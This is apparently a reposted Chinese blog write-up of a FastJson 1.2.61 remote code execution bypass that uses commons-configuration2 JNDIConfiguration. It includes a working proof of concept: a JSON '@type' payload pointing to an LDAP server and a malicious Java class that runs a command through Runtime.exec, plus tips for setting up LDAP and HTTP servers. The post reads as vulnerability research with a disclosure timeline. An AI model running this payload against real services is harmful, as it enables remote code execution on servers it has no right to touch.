commons-pool2-2.3 jar包_[漏洞复现]FastJson 1.2.61远程代码执行漏洞(From第三方jar包)

前言

最近FastJson更新了黑名单,升级到了1.2.61版本,我尝试bypass其黑名单,在AutType打开的情况下成功绕过了黑名单防护.(目前暂未修复,官方即将更新)

复现环境准备

  • 1.JDK 8U20

  • 2.所需jar清单如下

fastjson-1.2.61.jar
commons-configuration2-2.0.jar
commons-lang3-3.3.2.jar
commons-logging-1.2.jar

FastJson复现

FastJsonTest.java

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.ParserConfig;

public class FastJsonTest {
public static void main(String[] args){

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

String jsonStr6 = "{\"@type\":\"org.apache.commons.configuration2.JNDIConfiguration\",\"prefix\":\"ldap://127.0.0.1:1389/ExportObject\"}";

JSONObject json = JSON.parseObject(jsonStr6);
json.toJSONString();
}
}

恶意类ExportObject.java

import java.io.BufferedReader;
import java.io.InputStreamReader;

public class ExportObject {
public ExportObject() throws Exception {
Process proc = Runtime.getRuntime().exec("open /Applications/Calculator.app");
BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
StringBuffer sb = new StringBuffer();

String line;
while((line = br.readLine()) != null) {
sb.append(line).append("\n");
}

String result = sb.toString();
Exception e = new Exception(result);
throw e;
}

public static void main(String[] args) throws Exception {
}
}

使用org.apache.commons.configuration2.JNDIConfiguration payload 效果如下

68206282e7f15bb9e3df9db3c097b8fa.png

关于黑名单

Fastjson 在1.2.42版本开始,将原本明文的黑名单改成了hash value的黑名单

37dc2f86f1a744fa4d71077442073662.png

使用这种方式,能在一定程度上减缓安全研究者对fastjson黑名单绕过的速度
关于黑名单,有安全研究者在GitHub上开源了一个项目,叫做fastjson-blacklist,大家可以关注一下.

ad0e5d4f43cf688c54f96146d1b81068.png

后记

对于不会开启rmi和ldap服务的同学可以查阅我的文章——《如何快速开启RMI&&LDAP》,快速开启http服务可以使用python -m SimpleHTTPServer.
使用JNDI进行rce,请注意JDK对于JNDI的修复,可参考pyn3rd师傅的图

e612fdf62baece52bf61c2d272dd558e.png

Reference

fastjson-blacklist:
https://github.com/LeadroyaL/fastjson-blacklist/](https://github.com/LeadroyaL/fastjson-blacklist/
fastjson官方黑名单:
https://github.com/alibaba/fastjson/blob/master/src/main/java/com/alibaba/fastjson/parser/ParserConfig.java
如何快速开启RMI&&LDAP:
https://mp.weixin.qq.com/s/TuQWvyro5vphyeZCAo_Y6g

时间轴

[0] 2019年9月20日 亚信安全提交该漏洞给阿里巴巴
[1] 2019年9月23日 亚信安全网络攻防实验室发布预警公告

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值